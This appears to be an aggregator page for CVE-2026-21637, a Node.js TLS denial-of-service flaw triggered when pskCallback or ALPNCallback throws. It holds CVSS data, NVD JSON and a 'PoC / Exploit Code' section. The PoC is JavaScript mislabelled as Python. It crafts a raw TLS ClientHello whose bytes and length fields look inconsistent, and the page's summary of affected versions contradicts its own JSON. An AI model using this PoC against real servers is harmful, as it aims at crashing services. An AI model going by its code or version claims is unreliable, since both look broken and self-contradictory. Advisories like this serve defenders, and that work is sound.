Security Vulnerability Report
中文
CVE-2026-21637 CVSS 7.5 HIGH

CVE-2026-21637

Published: 2026-01-20 21:16:06
Last Modified: 2026-01-30 20:18:32

Description

A flaw in Node.js TLS error handling allows remote attackers to crash or exhaust resources of a TLS server when `pskCallback` or `ALPNCallback` are in use. Synchronous exceptions thrown during these callbacks bypass standard TLS error handling paths (tlsClientError and error), causing either immediate process termination or silent file descriptor leaks that eventually lead to denial of service. Because these callbacks process attacker-controlled input during the TLS handshake, a remote client can repeatedly trigger the issue. This vulnerability affects TLS servers using PSK or ALPN callbacks across Node.js versions where these callbacks throw without being safely wrapped.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:nodejs:node.js:*:*:*:*:-:*:*:* - VULNERABLE
cpe:2.3:a:nodejs:node.js:*:*:*:*:-:*:*:* - VULNERABLE
cpe:2.3:a:nodejs:node.js:*:*:*:*:-:*:*:* - VULNERABLE
cpe:2.3:a:nodejs:node.js:*:*:*:*:-:*:*:* - VULNERABLE
Node.js < 18.x (使用TLS PSK或ALPN回调的版本)
Node.js < 20.x (使用TLS PSK或ALPN回调的版本)
Node.js < 22.x (使用TLS PSK或ALPN回调的版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
const tls = require('tls'); const net = require('net'); // PoC for CVE-2026-21637: Node.js TLS callback DoS // This PoC demonstrates triggering the vulnerability via ALPN callback const options = { key: require('fs').readFileSync('server-key.pem'), cert: require('fs').readFileSync('server-cert.pem'), // Vulnerable: ALPN callback that throws synchronous exception alpnProtocols: ['http/1.1', 'h2'], // pskCallback can also trigger the vulnerability // pskCallback: (hint) => { throw new Error('Trigger DoS'); } }; // Malicious ALPN callback that throws exception options.alpnCallback = (protocols, cb) => { // Synchronous exception that bypasses error handling throw new Error('ALPN Callback Exception - Triggering CVE-2026-21637'); }; const server = tls.createServer(options, (socket) => { console.log('Client connected'); }); server.listen(8443, () => { console.log('Server listening on port 8443'); // Attacker connects and sends malicious TLS ClientHello const client = net.connect(8443, '127.0.0.1', () => { // Craft malicious TLS ClientHello with ALPN extension const maliciousClientHello = Buffer.from([ 0x16, 0x03, 0x01, 0x00, 0x51, // TLS Handshake record 0x01, 0x00, 0x00, 0x4d, // ClientHello 0x03, 0x03, // TLS 1.2 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // Random 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // Session ID length 0x00, 0x20, // Cipher suites length (32 bytes) 0xc0, 0x2c, 0xc0, 0x2b, 0xc0, 0x30, 0xc0, 0x2f, 0x00, 0x9d, 0x00, 0x9e, 0x00, 0x6b, 0x00, 0x6c, 0x00, 0x67, 0x00, 0x40, 0x00, 0x38, 0x00, 0x32, 0x00, 0x13, 0x00, 0x04, // Compression methods 0x00, 0x00, // Extensions length ]); client.write(maliciousClientHello); console.log('Malicious ClientHello sent'); }); client.on('error', (err) => { console.log('Client error:', err.message); }); }); server.on('error', (err) => { console.log('Server will crash due to uncaught exception in ALPN callback'); });

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-21637", "sourceIdentifier": "[email protected]", "published": "2026-01-20T21:16:05.950", "lastModified": "2026-01-30T20:18:32.377", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw in Node.js TLS error handling allows remote attackers to crash or exhaust resources of a TLS server when `pskCallback` or `ALPNCallback` are in use. Synchronous exceptions thrown during these callbacks bypass standard TLS error handling paths (tlsClientError and error), causing either immediate process termination or silent file descriptor leaks that eventually lead to denial of service. Because these callbacks process attacker-controlled input during the TLS handshake, a remote client can repeatedly trigger the issue. This vulnerability affects TLS servers using PSK or ALPN callbacks across Node.js versions where these callbacks throw without being safely wrapped."}, {"lang": "es", "value": "Una falla en el manejo de errores TLS de Node.js permite a atacantes remotos colapsar o agotar los recursos de un servidor TLS cuando se utilizan 'pskCallback' o 'ALPNCallback'. Las excepciones síncronas lanzadas durante estas devoluciones de llamada eluden las rutas estándar de manejo de errores TLS (tlsClientError y error), causando una terminación inmediata del proceso o fugas silenciosas de descriptores de archivo que eventualmente conducen a una denegación de servicio. Debido a que estas devoluciones de llamada procesan entradas controladas por el atacante durante el handshake TLS, un cliente remoto puede desencadenar el problema repetidamente. Esta vulnerabilidad afecta a los servidores TLS que utilizan devoluciones de llamada PSK o ALPN en todas las versiones de Node.js donde estas devoluciones de llamada lanzan excepciones sin ser envueltas de forma segura."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}], "cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nodejs:node.js:*:*:*:*:-:*:*:*", "versionStartIncluding": "4.0.0", "versionEndExcluding": "20.20.0", "matchCriteriaId": "E84DD4EF-E69C-4141-80A3-06E83EE94A78"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nodejs:node.js:*:*:*:*:-:*:*:*", "versionStartIncluding": "22.0.0", "versionEndExcluding": "22.22.0", "matchCriteriaId": "132A7510-B3E9-4F85-9B61-A834B12DD7D7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nodejs:node.js:*:*:*:*:-:*:*:*", "versionStartIncluding": "24.0.0", "versionEndExcluding": "24.13.0", "matchCriteriaId": "A83233BD-D901-4A1A-A3AF-0DC3E76CD2C0"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nodejs:node.js:*:*:*:*:-:*:*:*", "versionStartIncluding": "25.0.0", "versionEndExcluding": "25.3.0", "matchCriteriaId": "970EF154-D905-4FDA-85CB-C3AB08BEFAEC"}]}]}], "references": [{"url": "https://nodejs.org/en/blog/vulnerability/december-2025-security-releases", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}]}}